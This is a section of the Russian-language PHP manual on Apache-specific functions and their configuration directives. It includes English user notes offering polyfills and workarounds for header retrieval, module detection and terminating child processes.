SolrIllegalOperationException::getInternalInfo — Возвращает внутреннюю информацию о том, где было выброшено исключение

Описание

public SolrIllegalOperationException::getInternalInfo(): array

Возвращает внутреннюю информацию о том, где было выброшено исключение.

Внимание

Функцию пока не задокументировали; для знакомства доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает массив, содержащий внутреннюю информацию о том, где была вызвана ошибка. Используется только для отладки разработчиками модулей.

User Contributed Notes

There are no user contributed notes for this page.


Класс SolrMissingMandatoryParameterException

(Информация о версии неизвестна, возможно, только в Git)

Введение

Обзор классов

class SolrMissingMandatoryParameterException extends SolrException {
/* Наследуемые свойства */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
protected int $sourceline;
protected string $sourcefile;
protected string $zif_name;
/* Наследуемые методы */
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
public SolrException::getInternalInfo(): array
}

User Contributed Notes

There are no user contributed notes for this page.


Модули для работы с серверами

  • Apache
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • Функции Apache
  • Менеджер процессов FastCGI
    • Введение
    • Установка и настройка
    • Наблюдаемость
    • Функции FPM

User Contributed Notes

There are no user contributed notes for this page.


Apache

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Типы ресурсов
  • Предопределённые константы
  • Функции Apache
    • apache_child_terminate — Завершить процесс Apache по окончании текущего запроса
    • apache_get_modules — Возвращает список загруженных модулей сервера Apache
    • apache_get_version — Возвращает версию Apache
    • apache_getenv — Возвращает переменную окружения подпроцесса сервера Apache
    • apache_lookup_uri — Осуществить частичный запрос на указанный URI и вернуть все полученные сведения
    • apache_note — Возвращает и устанавливает уведомления к запросу Apache
    • apache_request_headers — Получает список всех заголовков HTTP-запроса
    • apache_response_headers — Возвращает список всех HTTP-заголовков ответа Apache
    • apache_setenv — Устанавливает переменную subprocess_env Apache
    • getallheaders — Возвращает все заголовки HTTP-запроса
    • virtual — Выполняет подзапрос Apache

User Contributed Notes

There are no user contributed notes for this page.


Введение

Эти функции доступны только в том случае, если PHP работает в качестве модуля Apache.

User Contributed Notes

There are no user contributed notes for this page.


Установка

Установка PHP в качестве модуля Apache описана в соответствующей главе.

User Contributed Notes

There are no user contributed notes for this page.


Настройка во время выполнения

Поведение модуля Apache PHP зависит от настроек в php.ini. Настройки конфигурации из php.ini могут быть переопределены через настройки флага php_flag в конфигурационном файле сервера или локальном файле .htaccess.

Пример #1 Отключение парсера PHP для директории при помощи .htaccess

php_flag engine off

Настройки конфигурации Apache
Имя | По умолчанию | Место изменения | Список изменений
engine | "1" | INI_ALL |
child_terminate | "0" | INI_ALL |
last_modified | "0" | INI_ALL |
xbithack | "0" | INI_ALL |
Дополнительная информация и описания режимов INI_* даны в разделе «Места установки параметров конфигурации».

Краткое разъяснение конфигурационных директив.

engine bool

Включает или выключает интерпретатор PHP. Эта директива в действительности очень полезна в модуле Apache PHP. Она используется сайтами, которым необходимо разрешить или запретить интерпретатор PHP на основе директорий или виртуальных хостов. Устанавливая engine off по необходимости в файле httpd.conf, можно разрешить или запретить интерпретатор PHP.

child_terminate bool

Эта настройка управляет тем, могут ли скрипты PHP требовать окончания дочерних процессов по завершении запроса. Смотрите также apache_child_terminate().

last_modified bool

Посылает скриптам PHP дату модификации как заголовок Last-Modified для этого запроса.

xbithack bool

Исполнение файлов с битом запускаемого как PHP, независимо от расширения.

User Contributed Notes

There are no user contributed notes for this page.


Функции Apache

Содержание

  • apache_child_terminate — Завершить процесс Apache по окончании текущего запроса
  • apache_get_modules — Возвращает список загруженных модулей сервера Apache
  • apache_get_version — Возвращает версию Apache
  • apache_getenv — Возвращает переменную окружения подпроцесса сервера Apache
  • apache_lookup_uri — Осуществить частичный запрос на указанный URI и вернуть все полученные сведения
  • apache_note — Возвращает и устанавливает уведомления к запросу Apache
  • apache_request_headers — Получает список всех заголовков HTTP-запроса
  • apache_response_headers — Возвращает список всех HTTP-заголовков ответа Apache
  • apache_setenv — Устанавливает переменную subprocess_env Apache
  • getallheaders — Возвращает все заголовки HTTP-запроса
  • virtual — Выполняет подзапрос Apache

User Contributed Notes

bgshea at gmail dot com 28-Nov-2005 07:41
here is a dynamic version of henk_nicolai at REMOVE-THIS at hotmail dot com's code

    $req = $_SERVER['REQUEST_URI'];
    // Remove rubbish.
    $newReq = ereg_replace ( $_SERVER['SCRIPT_NAME'] . '[^?]*', $_SERVER['SCRIPT_NAME'], $req);
    if (strlen($newReq) < strlen($req))
    {
        header ('Location: '.$newReq);
        header ('HTTP/1.0 301 Moved Permanently');
        die;  // Don't send any more output.
    }
    unset($req);
    unset($newReq);

this can be placed at the top of any file that is to be access by the URI.
pike 01-Nov-2005 03:16
to henk_nicolai

the behaviour you describe is not a "glitch" of apache :-). an url like
"http://my_server.nl/index.php/foo".  should return the resource http://my_server.nl/index.php and pass "/foo" as PATH_INFO in the environment.

which is extremely usefull if you use it wisely.

for more info on PATH_INFO and PATH_TRANSLATED, see http://nl2.php.net/reserved.variables . PATH_INFO is not related to the php pathinfo() function

$2c,
*pike
outofnet at mail dot ru 27-Aug-2004 07:44
Important info for Apache2 users that have several virtual hosts.

It seems php_flag directive has a different behaviour under Apache 2 (from what it is under 1.3) when used inside <VirtualHost> block.

If you override global php.ini settings with php_flag for one of your virtual host - then your other non-customized virtual hosts may use this overrided settings as well. php_flag records are messed up among different virtual hosts under single Apache 2 server. It may result from Apache 2 multi-thread nature.

Here is an example:

Suppose you have two Virtual hosts: V1 and V2.
For V1 in Apache configuration you use
php_flag magic_quotes_gpc 1
V2 is supposed to use global php.ini settings, so you didn't put any php_flag records into Apache conf for V2 (this worked under Apache 1.3).
And your default php.ini settings are:
php_flag magic_quotes_gpc 0

When you run your server you'll notice that magic quotes is (sometimes) set to On at V2!
The value turns On at V2 when there have been a previous request to V1.

To solve the problem either move php_flag into .htaccess located inside customized virtual host directory OR put php_flag with default settings into all your <VirtualHost> blocks that are not customized. So for V2 put:
php_flag magic_quotes_gpc 0

It is critical to be very carefull with php_flag engine 0.

My configuration is:
PHP 4.3.4, Apache 2.0.50, Linux RedHat 9
henk_nicolai at REMOVE-THIS at hotmail dot com 20-Nov-2002 04:03
My Apache server has a problem when someone enters a URI like: "http://my_server.nl/index.php/". (Note the extra slash.) The server executes the index.php script anyway, which causes the browser directory and the current directory used in the script to be different. And therefore my relative links don't work, and my stylesheet is not loaded. A quick test ("http://www.php.net/manual/en/index.php/") reveals that also this site has this glitch.

When a client requests a directory without the last slash ("http://www.php.net/manual") the server sends a HTTP 301 (Moved Permanently) response with a redirect to the correct URI ("http://www.php.net/manual/"), and my idea was to do the same when the user adds a slash too much:

<?php
   $req = $_SERVER['REQUEST_URI'];
   // Remove rubbish.
   $newReq = ereg_replace ('index.php[^?]*', 'index.php', $req);
   if (strlen($newReq) < strlen($req)) {
     header ('Location: '.$newReq);
     header ('HTTP/1.0 301 Moved Permanently');
     die;  // Don't send any more output.
   }
   unset($req); unset($newReq);

   ... (rest of the script) ...
?>

Replace every occurence of 'index.php' with your filename and you're done. Hope it helps. :-)

(Note: I'm not using fragments in my URI's (like 'index.php#bottom'), and this code may not do what you want if you are using them.)
cjm2 at earthling dot net 10-Jan-2002 03:40
If you are trying to find a Handler to use with apache's mod_mime functions (e.g. SetHandler).  Use the MIME type associated with php.

e.g. SetHandler application/x-httpd-php


Завершить процесс Apache по окончании текущего запроса

  • « Функции Apache
  • apache_get_modules »
  • PHP Manual
  • Функции Apache
  • Завершить процесс Apache по окончании текущего запроса

apache_child_terminate

(PHP 4 >= 4.0.5, PHP 5, PHP 7, PHP 8)

apache_child_terminate — Завершить процесс Apache по окончании текущего запроса

Описание

apache_child_terminate(): void

apache_child_terminate() регистрирует процесс Apache, обслуживающий текущий запрос PHP с тем, чтобы завершить его по окончании выполнения PHP-скрипта. Эта функция может быть использована для завершения процесса, для работы которого понадобилось значительное количество оперативной памяти, не возвращённой операционной системе по завершении работы PHP-скрипта.

Работает на веб-серверах Apache и FastCGI.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примечания

Замечание: Для Windows-платформ эта функция не реализована.

Смотрите также

  • exit() - Выводит сообщение и прекращает выполнение текущего скрипта

User Contributed Notes

jasonlester at nope dot com 23-Dec-2022 12:02
On FastCGI SAPIs this doesn't kill the process, it just makes the fastcgi handler fully recycle PHP at the end of the script rather than just recycling the request state. This includes php-cgi.
Stephan Ferraro 11-Aug-2010 02:39
I found out a solution for Apache 2. However this works only without threads and only on POSIX compatible OS systems (e.g. Linux, OpenSolaris...).

<?php

// Terminate Apache 2 child process after request has been
// done by sending a SIGWINCH POSIX signal (28).
function kill_on_exit() {
 posix_kill( getmypid(), 28 );
}

register_shutdown_function( 'kill_on_exit' );

?>
louis at ewens dot com 29-Jan-2008 04:29
Apache child processes are greedy. If they get bloated by a PHP application that requires a lot of memory, they stay that way. The memory is never given back to the OS until that child dies.

You could use MaxRequestsPerChild in Apache to kill all child processes automatically after a certain number of connections. Or you can use apache_child_terminate to kill the child after your memory intensive functions.

Note: apache_child_terminate is not available in Apache 2.0 handler.
daniele_dll at yahoo dot it 29-Dec-2007 03:18
In response to sam at liddicott dot com:

it isin't so simple! You should never kill an apache process because it is automatically freed when apache need!

And, if you use apache worker or thread based mpm you risk to kill the entire process!

result: DO NOT USE THIS FUNCTION!
admin at hostultra dot com 06-Dec-2007 08:43
this code will add apache_child_terminate() function if it is not already present.

if (!function_exists("apache_child_terminate")){
function apache_child_terminate(){
register_shutdown_function("killonexit");
}

function killonexit(){
@exec("kill ".getmypid());
}
}


Возвращает список загруженных модулей сервера Apache

  • « apache_child_terminate
  • apache_get_version »
  • PHP Manual
  • Функции Apache
  • Возвращает список загруженных модулей сервера Apache

apache_get_modules

(PHP 4 >= 4.3.2, PHP 5, PHP 7, PHP 8)

apache_get_modules — Возвращает список загруженных модулей сервера Apache

Описание

apache_get_modules(): array

Возвращает список загруженных модулей сервера Apache.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Массив (array) загруженных модулей сервера Apache.

Примеры

Пример #1 Пример использования apache_get_modules()

<?php
print_r(apache_get_modules());
?>

Вывод приведённого примера будет похож на:

Array
(
    [0] => core
    [1] => http_core
    [2] => mod_so
    [3] => sapi_apache2
    [4] => mod_mime
    [5] => mod_rewrite
)

User Contributed Notes

christian at zp1 dot net 18-Jan-2024 02:51
/**
 * Check if a Apache module is loaded (even if php run as fcgi or cgi )
 *
 * @param string $module
 * @return bool
 */
public static function apache_check_module(string $module): bool
{
    $module  = ($module ? strval(value: $module) : '');
    if (function_exists('apache_get_modules')  && !empty($module)) {
        if (in_array(needle: $module, haystack: apache_get_modules())) {
            return TRUE;
        }
    } else if (!empty(shell_exec(command: 'apache2ctl -M | grep \'' . $module . '\''))) {
        return TRUE;
    } else {
        return FALSE;
    }
}
hello at octopuslabs dot io 28-Jul-2020 03:35
apache_get_modules() is only available when the PHP is installed as a module and not as a CGI == It doesn't work with php-fpm.
Anonymous 29-Nov-2013 10:19
<?php
function apache_module_exists($module)
{
    return in_array($module, apache_get_modules());
}
?>
Anonymous 03-Sep-2013 12:07
function apache_module_exists($module_name)
{
    $modules = apache_get_modules();
    return ( in_array($module_name, $modules) ? true : false );
}

var_dump(apache_module_exists('mod_headers'));
fengdingbo at gmail dot com 29-Jul-2013 01:56
<?php
function apache_module_exists($module_name)
{
    $modules = apache_get_modules();
    foreach ($modules as $module)
    {
        if ($module == $module_name)
            return true;
    }

    return false;
}
var_dump(apache_module_exists('mod_headers'));
Vlad Alexa Mancini mancini at nextcode dot org 04-Aug-2005 02:13
this function can be used on older php versions using something like "/etc/httpd/httpd.conf" as $fname

<?php

function get_modules ($fname){
   if (is_readable($fname)){
      $fcont = file($fname);
      if (is_array($fcont)){
          foreach ($fcont as $line){
              if (preg_match ("/^LoadModule\s*(\S*)\s*(\S*)/i",$line,$match)){
                  $return[$match[2]] = $match[1];
              }
          }
      }
   }
   return $return;
}

?>


Возвращает версию Apache

  • « apache_get_modules
  • apache_getenv »
  • PHP Manual
  • Функции Apache
  • Возвращает версию Apache

apache_get_version

(PHP 4 >= 4.3.2, PHP 5, PHP 7, PHP 8)

apache_get_version — Возвращает версию Apache

Описание

apache_get_version(): string|false

Возвращает версию Apache.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает версию Apache или false, если возникла ошибка.

Примеры

Пример #1 Пример использования apache_get_version()

<?php
$version = apache_get_version();
echo "$version\n";
?>

Вывод приведённого примера будет похож на:

Apache/1.3.29 (Unix) PHP/4.3.4

Смотрите также

  • phpinfo() - Выводит информацию о текущей конфигурации PHP

User Contributed Notes

M. Agius 30-Jul-2022 06:34
On my server apache_get_version() will end all web page output, just like die(), with no errors.

So use;
<?php
if(function_exists("apache_get_version")){
  $AVerpache = apache_get_version();
} else {
  $AVerpache = "unknown";
}
print $AVerpache;
?>
The following may work on your server and return "Apache/x.x.xx"
<?php
print $_SERVER["SERVER_SOFTWARE"];
?>
but on mine it only returns "Apache".
ladislav at prskavec dot net 07-Jun-2007 01:44
apache_get_version() - depends on settings in httpd.conf ServerTokens

Examples:

ServerTokens Full - Apache/2.0.55 (Win32) DAV/2
ServerTokens OS - Apache/2.0.55 (Win32)
ServerTokens Minor - Apache/2.0
ServerTokens Minimal - Apache/2.0.55
ServerTokens Major - Apache/2
ServerTokens Prod - Apache


Возвращает переменную окружения подпроцесса сервера Apache

  • « apache_get_version
  • apache_lookup_uri »
  • PHP Manual
  • Функции Apache
  • Возвращает переменную окружения подпроцесса сервера Apache

apache_getenv

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

apache_getenv — Возвращает переменную окружения подпроцесса сервера Apache

Описание

apache_getenv(string $variable, bool $walk_to_top = false): string|false

Возвращает переменную окружения сервера Apache, указанную параметром variable.

Список параметров

variable

Переменная окружения сервера Apache

walk_to_top

Получить переменную верхнего уровня, доступную для всех уровней сервера Apache или нет.

Возвращаемые значения

Значение переменной окружения сервера Apache в случае успешного выполнения, или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования apache_getenv()

Приведённый ниже пример показывает, как можно получить значение переменной окружения сервера Apache SERVER_ADDR.

<?php
$ret = apache_getenv("SERVER_ADDR");
echo $ret;
?>

Вывод приведённого примера будет похож на:

42.24.42.240

Смотрите также

  • apache_setenv() - Устанавливает переменную subprocess_env Apache
  • getenv() - Получает значение одной или всех переменных окружения
  • "Суперглобальные переменные"

User Contributed Notes

Anonymous 22-May-2018 10:49
This manual page is unclear as to whether it will fetch Apache configuration environment variables set by "SetEnv" (including "SetEnvIf[NoCase]" or "BrowserMatch" e.g.) as the only example given is with a pre-defined CGI interface variable (which is also available via the $_SERVER[] array).  If custom Apache runtime configuration variables are indeed fetchable via this interface, let's say so or give an example of such.
elhachmi at gmail dot com 27-Feb-2013 02:37
apache_getenv(key) does not work on an php cgi installation, in this case rather use $_SERVER["REDIRECT_key"]


Осуществить частичный запрос на указанный URI и вернуть все полученные сведения

  • « apache_getenv
  • apache_note »
  • PHP Manual
  • Функции Apache
  • Осуществить частичный запрос на указанный URI и вернуть все полученные сведения

apache_lookup_uri

(PHP 4, PHP 5, PHP 7, PHP 8)

apache_lookup_uri — Осуществить частичный запрос на указанный URI и вернуть все полученные сведения

Описание

apache_lookup_uri(string $filename): object|false

Эта функция осуществляет частичный запрос на указанный URI. Этого достаточно для получения всей важной информации о переданном функции ресурсе.

Эта функция поддерживается только если PHP установлен в качестве модуля Apache в веб-серверах.

Список параметров

filename

Имя файла (URI), который запрашивается.

Возвращаемые значения

Объект, содержащий информацию о переданном URI. Свойствами данного объекта являются:

  • status
  • the_request
  • status_line
  • method
  • content_type
  • handler
  • uri
  • filename
  • path_info
  • args
  • boundary
  • no_cache
  • no_local_copy
  • allowed
  • send_bodyct
  • bytes_sent
  • byterange
  • clength
  • unparsed_uri
  • mtime
  • request_time

Возвращает false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования apache_lookup_uri()

<?php
$info = apache_lookup_uri('index.php?var=value');
print_r($info);

if (file_exists($info->filename)) {
echo 'file exists!';
}
?>

Вывод приведённого примера будет похож на:

stdClass Object
(
    [status] => 200
    [the_request] => GET /dir/file.php HTTP/1.1
    [method] => GET
    [mtime] => 0
    [clength] => 0
    [chunked] => 0
    [content_type] => application/x-httpd-php
    [no_cache] => 0
    [no_local_copy] => 1
    [unparsed_uri] => /dir/index.php?var=value
    [uri] => /dir/index.php
    [filename] => /home/htdocs/dir/index.php
    [args] => var=value
    [allowed] => 0
    [sent_bodyct] => 0
    [bytes_sent] => 0
    [request_time] => 1074282764
)
file exists!

User Contributed Notes

tester 12-Feb-2008 05:01
bug: with apache 2, apache_lookup_uri("/directory") spits out a warning and fails to return anything.  apache_lookup_uri("/directory/") works.

another bug: virtual("something") forces a header flush.  I know it's documented, but it would be rather wonderful if it didn't do this.  You never ever want to flush headers when you're using virtual() to include a dynamic file such as a PHP or Perl file, which excludes virtual() from being used on most of any website's contents :-(.
niels dot kootstra at gmail dot com 08-Feb-2008 04:04
It's a very usefull function but it doesn't show all outputs. For example I only see:
[status]
[the_request]
[method]
[mtime]
[clength]
[chunked]
[content_type]
[no_cache]
[no_local_copy]
[unparsed_uri]
[uri]
[filename]
[path_info]
[allowed]
[sent_bodyct]
[bytes_sent]
[request_time]
redbeard at mdjohnson dot nospam dot us 17-Apr-2003 05:15
A useful feature is that if you have content negotiation on (Options MultiViews) Apache will resolve the negotiation for you if possible.  Thus www.example.com/blah will resolve to /base/blah.php or /base/blah.html or even /base/blah.en.html as appropriate.


Возвращает и устанавливает уведомления к запросу Apache

  • « apache_lookup_uri
  • apache_request_headers »
  • PHP Manual
  • Функции Apache
  • Возвращает и устанавливает уведомления к запросу Apache

apache_note

(PHP 4, PHP 5, PHP 7, PHP 8)

apache_note — Возвращает и устанавливает уведомления к запросу Apache

Описание

apache_note(string $note_name, ?string $note_value = null): string|false

Эта функция является обёрткой для table_get и table_set. С её помощью можно редактировать таблицу уведомлений (apache notes table), которая создаётся во время передачи запроса. Таблица уведомлений позволяет модулям Apache обмениваться данными.

Основное назначение apache_note() - передавать информацию из одного модуля в другой внутри одного запроса.

Список параметров

note_name

Название уведомления.

note_value

Значение уведомления.

Возвращаемые значения

Если note_value опущен или null, функция возвращает текущее значение уведомления note_name. В противном случае, она устанавливает значение уведомления note_name в note_value и возвращает предыдущее значение note_name. Если значение уведомления не может быть получено, будет возвращено false.

Список изменений

Версия | Описание
8.0.0 | note_value теперь допускает значение null.

Примеры

Пример #1 Пример передачи информации между PHP и Perl

<?php

apache_note('name', 'Fredrik Ekengren');

// Вызов perl-скрипта
virtual("/perl/some_script.pl");

$result = apache_note("resultdata");
?>
# Получаем объект запроса Apache
my $r = Apache->request()->main();

# Получаем переданные данные
my $name = $r->notes('name');

# Некоторые действия с данными

# Передача результата назад в PHP
$r->notes('resultdata', $result);

Пример #2 Пример записи значений в access.log

<?php

apache_note('sessionID', session_id());

?>
# "%{sessionID}n" может быть использован в директиве LogFormat

Смотрите также

  • virtual() - Выполняет подзапрос Apache

User Contributed Notes

There are no user contributed notes for this page.


Получает список всех заголовков HTTP-запроса

  • « apache_note
  • apache_response_headers »
  • PHP Manual
  • Функции Apache
  • Получает список всех заголовков HTTP-запроса

apache_request_headers

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

apache_request_headers — Получает список всех заголовков HTTP-запроса

Описание

apache_request_headers(): array

Получает список всех заголовков HTTP текущего запроса. Работает на веб-серверах Apache и FastCGI.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Ассоциативный массив, содержащий все HTTP-заголовки текущего запроса, или false в случае возникновения ошибки.

Список изменений

Версия | Описание
7.3.0 | Эта функция стала доступна в SAPI FPM.

Примеры

Пример #1 Пример использования apache_request_headers()

<?php
$headers = apache_request_headers();

foreach ($headers as $header => $value) {
echo "$header: $value <br />\n";
}
?>

Вывод приведённого примера будет похож на:

Accept: */*
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0
Host: www.example.com
Connection: Keep-Alive

Примечания

Замечание:

Также можно получить значения широко используемых CGI-переменных, получив их из окружения сервера; это работает независимо от того, установлен PHP в качестве модуля Apache или нет. Для того, чтобы получить список всех доступных переменных окружения, используйте функцию phpinfo().

Смотрите также

  • apache_response_headers() - Возвращает список всех HTTP-заголовков ответа Apache

User Contributed Notes

gilles at sdv dot fr 15-Dec-2022 11:12
The function apache_request_headers, doesn't exist in FCGI PHP-FPM

Use this patch : https://gist.github.com/rmpel/11583cfddfcc9705578428e3a2ee3dc1

<?php
// Drop-in replacement for apache_request_headers() when it's not available

if ( ! function_exists( 'apache_request_headers' ) ) {
    function apache_request_headers() {
        static $arrHttpHeaders;
        if ( ! $arrHttpHeaders ) {

            // Based on: http://www.iana.org/assignments/message-headers/message-headers.xml#perm-headers
            $arrCasedHeaders = array(
                // HTTP
                'Dasl'             => 'DASL',
                'Dav'              => 'DAV',
                'Etag'             => 'ETag',
                'Mime-Version'     => 'MIME-Version',
                'Slug'             => 'SLUG',
                'Te'               => 'TE',
                'Www-Authenticate' => 'WWW-Authenticate',
                // MIME
                'Content-Md5'      => 'Content-MD5',
                'Content-Id'       => 'Content-ID',
                'Content-Features' => 'Content-features',
            );
            $arrHttpHeaders  = array();

            foreach ( $_SERVER as $strKey => $mixValue ) {
                if ( 'HTTP_' !== substr( $strKey, 0, 5 ) ) {
                    continue;
                }

                $strHeaderKey = strtolower( substr( $strKey, 5 ) );

                if ( 0 < substr_count( $strHeaderKey, '_' ) ) {
                    $arrHeaderKey = explode( '_', $strHeaderKey );
                    $arrHeaderKey = array_map( 'ucfirst', $arrHeaderKey );
                    $strHeaderKey = implode( '-', $arrHeaderKey );
                } else {
                    $strHeaderKey = ucfirst( $strHeaderKey );
                }

                if ( array_key_exists( $strHeaderKey, $arrCasedHeaders ) ) {
                    $strHeaderKey = $arrCasedHeaders[ $strHeaderKey ];
                }

                $arrHttpHeaders[ $strHeaderKey ] = $mixValue;
            }

            /** in case you need authorization and your hosting provider has not fixed this for you:
             * VHOST-Config:
             * FastCgiExternalServer line needs    -pass-header Authorization
             *
             * .htaccess or VHOST-config file needs:
             * SetEnvIf Authorization "(.*)" HTTP_AUTHORIZATION=$1
             * to add the Authorization header to the environment for further processing
             */
            if ( ! empty( $arrHttpHeaders['Authorization'] ) ) {
                // in case of Authorization, but the values not propagated properly, do so :)
                if ( ! isset( $_SERVER['PHP_AUTH_USER'] ) ) {
                    list( $_SERVER['PHP_AUTH_USER'], $_SERVER['PHP_AUTH_PW'] ) = explode( ':', base64_decode( substr( $_SERVER['HTTP_AUTHORIZATION'], 6 ) ) );
                }
            }
        }

        return $arrHttpHeaders;
    }

    // execute now so other scripts have little chance to taint the information in $_SERVER
    // the data is cached, so multiple retrievals of the headers will not cause further impact on performance.
    apache_request_headers();
}
Tel 26-Sep-2019 01:54
Although we expect to see headers in mixed case, the standard RFC2616 demands that "field names are case-insensitive". PHP delivers the headers exactly untouched in whatever way the client sent them. Potentially you should expect to get any type of uppercase or lowercase or mixed.

Thus, if you want to be standards compliant, you must loop through every key and check it in a case-insensitive manner, instead of doing the obvious thing and using the name of the header as an array index.
egocentryk 03-Feb-2015 11:13
Superglobal $_SERVER,  used in all patches for missing getallheaders() contains only truly basic headers.  To pass ANY header into PHP in any httpd environment, including CGI/FCGI just add rule (any number of rules) into .htaccess:

RewriteRule .* - [E=HTTP_MY_HEADER:%{HTTP:My-Header}]

and the header with it's value will appear for PHP as
<?php print $_SERVER['HTTP_MY_HEADER']; ?>

And... just couldn't hold off. Rewrtiting $_SERVER keys for replacing missing function really does not require RegExps, preg_matches or evals... Try this:
<?php
function getallheaders() {
  foreach($_SERVER as $K=>$V){$a=explode('_' ,$K);
      if(array_shift($a)=='HTTP'){
           array_walk($a,function(&$v){$v=ucfirst(strtolower($v));});
       $retval[join('-',$a)]=$V;}
    } return $retval; }
 ?>
uli dot staerk at globalways dot net 16-Dec-2014 09:22
A slightly modified version from  limalopex.eisfux.de. Fixes the missing Headers Content-Type and Content-Length and makes it Camel-Case.

<?php
if( !function_exists('apache_request_headers') ) {
        function apache_request_headers() {
                $arh = array();
                $rx_http = '/\AHTTP_/';
                foreach($_SERVER as $key => $val) {
                        if( preg_match($rx_http, $key) ) {
                                $arh_key = preg_replace($rx_http, '', $key);
                                $rx_matches = array();
                                // do some nasty string manipulations to restore the original letter case
                                // this should work in most cases
                                $rx_matches = explode('_', strtolower($arh_key));
                                if( count($rx_matches) > 0 and strlen($arh_key) > 2 ) {
                                        foreach($rx_matches as $ak_key => $ak_val) $rx_matches[$ak_key] = ucfirst($ak_val);
                                        $arh_key = implode('-', $rx_matches);
                                }
                                $arh[$arh_key] = $val;
                        }
                }
                if(isset($_SERVER['CONTENT_TYPE'])) $arh['Content-Type'] = $_SERVER['CONTENT_TYPE'];
                if(isset($_SERVER['CONTENT_LENGTH'])) $arh['Content-Length'] = $_SERVER['CONTENT_LENGTH'];
                return( $arh );
        }
}
callum85 at notspam dot msn dot com 18-Apr-2007 11:07
There is a simple way to get request headers from Apache even on PHP running as a CGI. As far as I know, it's the only way to get the headers "If-Modified-Since" and "If-None-Match" when apache_request_headers() isn't available. You need mod_rewrite, which most web hosts seem to have enabled. Put this in an .htacess file in your web root:

RewriteEngine on
RewriteRule .* - [E=HTTP_IF_MODIFIED_SINCE:%{HTTP:If-Modified-Since}]
RewriteRule .* - [E=HTTP_IF_NONE_MATCH:%{HTTP:If-None-Match}]

The headers are then available in PHP as
<?php
  $_SERVER['HTTP_IF_MODIFIED_SINCE'];
  $_SERVER['HTTP_IF_NONE_MATCH'];
?>

I've tested this on PHP/5.1.6, on both Apache/2.2.3/Win32 and Apache/2.0.54/Unix, and it works perfectly.

Note: if you use RewriteRules already for clean URLs, you need to put the above rules AFTER your existing ones.
limalopex.eisfux.de 29-Oct-2006 09:01
I didn't found a replacement for apache_request_headers() in PHP::Compat (http://pear.php.net/package/PHP_Compat) so I wrote my own:

<?php
if( !function_exists('apache_request_headers') ) {
///
function apache_request_headers() {
  $arh = array();
  $rx_http = '/\AHTTP_/';
  foreach($_SERVER as $key => $val) {
    if( preg_match($rx_http, $key) ) {
      $arh_key = preg_replace($rx_http, '', $key);
      $rx_matches = array();
      // do some nasty string manipulations to restore the original letter case
      // this should work in most cases
      $rx_matches = explode('_', $arh_key);
      if( count($rx_matches) > 0 and strlen($arh_key) > 2 ) {
        foreach($rx_matches as $ak_key => $ak_val) $rx_matches[$ak_key] = ucfirst($ak_val);
        $arh_key = implode('-', $rx_matches);
      }
      $arh[$arh_key] = $val;
    }
  }
  return( $arh );
}
///
}
///
?>


Возвращает список всех HTTP-заголовков ответа Apache

  • « apache_request_headers
  • apache_setenv »
  • PHP Manual
  • Функции Apache
  • Возвращает список всех HTTP-заголовков ответа Apache

apache_response_headers

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

apache_response_headers — Возвращает список всех HTTP-заголовков ответа Apache

Описание

apache_response_headers(): array|false

Возвращает список всех HTTP-заголовков. Работает на веб-серверах Apache и FastCGI.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Массив HTTP-заголовков ответа Apache в случае успешного выполнения или false, если возникла ошибка.

Примеры

Пример #1 Пример использования apache_response_headers()

<?php
print_r(apache_response_headers());
?>

Вывод приведённого примера будет похож на:

Array
(
    [Accept-Ranges] => bytes
    [X-Powered-By] => PHP/4.3.8
)

Смотрите также

  • apache_request_headers() - Получает список всех заголовков HTTP-запроса
  • headers_sent() - Проверяет, были ли отправлены заголовки
  • headers_list() - Возвращает список переданных заголовков (или готовых к отправке)

User Contributed Notes

Anonymous 11-Sep-2016 03:01
call it after the you send the output to get all the headers
php at mailplus dot pl 18-Feb-2011 01:11
I get  "Call to undefined function apache_response_headers()" when using php-cli so be aware of lack of this function CLI.
In my case I was trying to test my app via phpunit (command line tool of course ;)) if it sends proper headers.
Isaac Z dot Schlueter i at foohack dot com 28-May-2009 08:57
This function doesn't exist on lighttpd, so I wrote this little function to emulate it:

<?php

if (!function_exists('apache_response_headers')) {
    function apache_response_headers () {
        $arh = array();
        $headers = headers_list();
        foreach ($headers as $header) {
            $header = explode(":", $header);
            $arh[array_shift($header)] = trim(implode(":", $header));
        }
        return $arh;
    }
}

?>
Daniel Lorch 24-May-2007 09:53
Addendum: The code

<pre>
<?php
  print_r(apache_request_headers());
?>
</pre>

gives me

 Array
 (
    [X-Powered-By] => PHP/5.1.6
 )

But the code
<pre>
<?php
  ob_end_flush();
  print_r(apache_request_headers());
?>
</pre>

Results in

 Array
 (
    [Content-Location] => phpinfo.de.php
    [Vary] => negotiate
    [TCN] => choice
    [X-Powered-By] => PHP/5.1.6
    [Keep-Alive] => timeout=15, max=96
    [Connection] => Keep-Alive
    [Transfer-Encoding] => chunked
    [Content-Type] => text/html
    [Content-Language] => de
 )
Daniel Lorch 24-May-2007 09:46
I can confirm athlet's experience with apache_response_headers() using PHP 5.1.6. When the resulting array is empty or only contains "X-Powered-By" instead of the full list of values, you'll need to switch off output_buffering _before_ the script has been executed, for example with the following directive in .htaccess:

php_value "output_buffering" "0"

it _doesn't_ work when you do a you ini_set('output_buffering', 0); in your script. Not sure why that is so - it is not a bug in PHP, but probably has to do with how Apache populates the request values.
athlet 01-Feb-2006 09:37
For apache_response_headers() working good, you need to set  up output_buffering = Off in php.ini
orange 05-Sep-2005 08:17
